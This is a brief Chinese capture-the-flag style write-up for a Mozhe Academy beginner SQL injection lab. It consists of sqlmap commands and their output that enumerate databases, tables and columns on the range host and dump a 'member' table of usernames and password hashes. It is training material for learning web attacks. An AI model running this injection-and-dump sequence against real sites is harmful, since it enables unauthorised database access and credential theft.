墨者学院靶场 新手区 web sql注入

D:\slqmap>python sqlmap.py -u http://219.153.49.228:43403/new_list.php?id=1 --dbs

available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] stormgroup
[*] test

D:\slqmap>python sqlmap.py -u http://219.153.49.228:43403/new_list.php?id=1 -D stormgroup --tables

Database: stormgroup
[2 tables]
+--------+
| member |
| notice |
+--------+

D:\slqmap>python sqlmap.py -u http://219.153.49.228:43403/new_list.php?id=1 -D stormgroup -T member --columns

Database: stormgroup
Table: member
[3 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| name     | varchar(11)  |
| password | varchar(255) |
| status   | varchar(255) |
+----------+--------------+

D:\slqmap>python sqlmap.py -u http://219.153.49.228:43403/new_list.php?id=1 -D stormgroup -T member -C name,password,status --dump

Database: stormgroup
Table: member
[2 entries]
+-------+----------------------------------+--------+
| name  | password                         | status |
+-------+----------------------------------+--------+
| mozhe | 3114b433dece9180717f2b7de56b28a3 | 0      |
| mozhe | 354cba3e957026b021d196a9249ecd71 | 1      |
+-------+----------------------------------+--------+

image.png